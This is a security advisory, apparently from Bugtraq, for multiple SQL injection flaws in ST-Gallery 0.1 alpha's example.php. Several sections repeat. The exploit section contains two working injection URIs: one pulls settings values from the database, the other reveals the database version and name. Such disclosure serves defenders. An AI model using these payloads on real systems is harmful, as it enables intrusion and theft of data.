ST-Gallery 'example.php' Multiple SQL Injection Vulnerabilities
BID:34875
Info
ST-Gallery 'example.php' Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 34875 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 07 2009 12:00AM |
| Updated: | May 08 2009 06:26PM |
| Credit: | YEnH4ckEr |
| Vulnerable: |
ST-Gallery ST-Gallery 0.1 alpha |
| Not Vulnerable: | |
Discussion
ST-Gallery 'example.php' Multiple SQL Injection Vulnerabilities
ST-Gallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ST-Gallery 0.1 alpha is vulnerable; other versions may also be affected.
ST-Gallery is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
ST-Gallery 0.1 alpha is vulnerable; other versions may also be affected.
Exploit / POC
ST-Gallery 'example.php' Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/example.php?gallery_category=-1%27+UNION+ALL+SELECT+1,concat(name,0x3A3A3A,value)+FROM+st_settings+WHERE+id=2/*
http://www.example.com/example.php?gallery_category=1&gallery_show=-1%27+union+all+select+1,version(),database(),4,5,6/*
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/example.php?gallery_category=-1%27+UNION+ALL+SELECT+1,concat(name,0x3A3A3A,value)+FROM+st_settings+WHERE+id=2/*
http://www.example.com/example.php?gallery_category=1&gallery_show=-1%27+union+all+select+1,version(),database(),4,5,6/*
Solution / Fix
ST-Gallery 'example.php' Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
ST-Gallery 'example.php' Multiple SQL Injection Vulnerabilities
References:
References: